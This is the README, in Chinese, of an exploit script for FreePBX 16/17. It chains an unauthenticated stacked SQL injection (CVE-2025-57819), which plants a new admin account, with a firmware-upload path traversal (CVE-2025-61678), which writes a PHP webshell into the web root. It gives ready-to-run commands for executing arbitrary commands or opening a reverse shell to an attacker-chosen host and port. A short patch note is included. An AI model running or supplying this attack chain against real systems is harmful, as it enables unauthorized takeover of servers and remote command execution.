FreePBX 16 — Unauthenticated SQLi to RCE摘要：本說明展示如何組合 FreePBX 16 中的兩個漏洞（CVE-2025-57819 與 CVE-2025-61678），實現從未授權存取提升至遠端程式碼執行（Remote Code Execution, RCE）的完整攻擊鏈。漏洞 CVE 資訊CVE 編號影響元件影響與漏洞類型CVE-2025-57819Endpoint 模組載入器（brand 參數）未授權的多語句 SQL 注入（Unauthenticated Stacked SQL Injection）CVE-2025-61678Endpoint Manager 韌體上傳處理器（fwbrand 參數）已驗證的任意檔案上傳 / 路徑穿越（Path Traversal）攻擊原理與流程建立管理員帳號（CVE-2025-57819）透過命名空間模組載入器（Namespaced Endpoint Loader）觸發未授權的多語句 SQL 注入漏洞，直接在 ampusers 資料表中寫入一個全新且具備完整權限的管理員帳號。身份驗證（Authentication）利用剛建立的管理員帳密登入 FreePBX 後台管理介面。寫入 WebShell（CVE-2025-61678）濫用 Endpoint Manager 的韌體上傳功能，結合 fwbrand 參數中的路徑穿越漏洞（../../../var/www/html/<dir>），將 PHP WebShell 直接寫入網站根目錄。執行命令（Execution）呼叫已部署的 WebShell 執行單一系統指令，或建立互動式 Reverse Shell。受影響版本與修復建議受影響版本：FreePBX 16（Endpoint 模組版本低於 16.0.92）FreePBX 17（修正於 17.0.6 之前的版本）修復建議：請儘速更新至最新修補版本。使用說明（Usage）Bash# 執行單一指令
python3 exploit.py --rhost pbx.example.com --command "id"

# 建立互動式 Reverse Shell (利用 pwntools 自動監聽)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# 使用 Plain HTTP 與自訂通訊埠
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
參數說明（Options）參數說明--rhost[必填] 目標主機位址（Target Host）--rport目標通訊埠（預設為 443）--http強制使用 HTTP 代替預設的 HTTPS